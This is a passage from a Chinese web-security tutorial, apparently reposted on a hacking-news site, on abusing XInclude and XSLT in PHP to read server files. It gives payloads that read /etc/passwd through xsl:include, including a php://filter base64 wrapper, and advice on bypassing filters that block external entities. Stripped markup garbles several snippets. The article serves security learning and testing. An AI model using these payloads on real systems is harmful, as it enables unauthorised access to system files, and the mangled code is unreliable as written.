欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅析xml之xinclude & xslt

来源:本站整理 作者:佚名 时间:2018-08-18 TAG: 我要投稿
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
效果如下

xinclude文件读取
倘若由于需要,我们使用了xinclude
$xml =
 
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
?>
我们发现
$dom->loadXML($xml);
我们并没有打开外部实体引用选项,却成功的读取/etc/passwd的内容

这一点值得关注,倘若我们在测试过程中,发现我们可控xml文本内容,但是引入外部实体无效或是存在过滤,尝试编码绕过也不行的时候,那么可以尝试使用xinclude因为xinclude无需使用LIBXML_NOENT选项去开启默认关闭的外部实体引用
 
XSLT
XSL 指扩展样式表语言(EXtensible Stylesheet Language)而XSLT 指 XSL 转换:即使用 XSLT 可将 XML 文档转换为其他文档,比如XHTML。
简单样例
下面展示利用php后端语言,将xml转换为htmltest.xml
xml version="1.0" encoding="utf-8"?>
root>
    name>skyname>
    blog>skysec.topblog>
    country>Chinacountry>
root>
test.xsl
xml version="1.0" encoding="utf-8"?>
xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
xsl:template match="/">
html>
body>
table border="1">
  tr bgcolor="#9acd32">
    th align="left">Nameth>
    th align="left">Blogth>
    th align="left">Countryth>
  tr>
  xsl:for-each select="root">
  tr>
    td>xsl:value-of select="name" />td>
    td>xsl:value-of select="blog" />td>
    td>xsl:value-of select="country" />td>
  tr>
  xsl:for-each>
table>
body>
html>
xsl:template>
xsl:stylesheet>
test.php
 
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl");
$xmlDoc = new DOMDocument();
$xmlDoc->load("test.xml");
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
结果如下

查看源代码
html>body>table border="1">
tr bgcolor="#9acd32">
th align="left">Nameth>
th align="left">Blogth>
th align="left">Countryth>
tr>
tr>
td>skytd>
td>skysec.toptd>
td>Chinatd>
tr>
table>body>html>
发现
td>xsl:value-of select="name" />td>
td>xsl:value-of select="blog" />td>
td>xsl:value-of select="country" />td>
已被替换成对应的值
安全问题
传统文件读取
这里的安全问题基本与xml中相同像读文件:
xml version="1.0" encoding="utf-8"?>
  
]> 
xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
xsl:template match="/root">
  &shit;
xsl:template>
xsl:stylesheet>

这就很成功的可以读取文件内容了但是需要注意的是,同样因为php底层的libxml库默认禁用了外部实体引入,所以我们还是需要手动加入
$xslDoc = new DOMDocument();
$xslDoc->load("test.xsl",LIBXML_NOENT);
xsl文件读取
当没开启外部实体引入的时候,我们可以考虑如下方式
 / 查阅手册,发现该元素必须是  或  的子节点语法为
xsl:include href="URI"/>
既然是url,那么利用的方式就有很多种了例如:
xsl:include href="file:///etc/passwd"/>
此时报错了

我们尝试用base64
xsl:include href="php://filter/read=convert.base64-encode/resource=/etc/passwd"/>

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载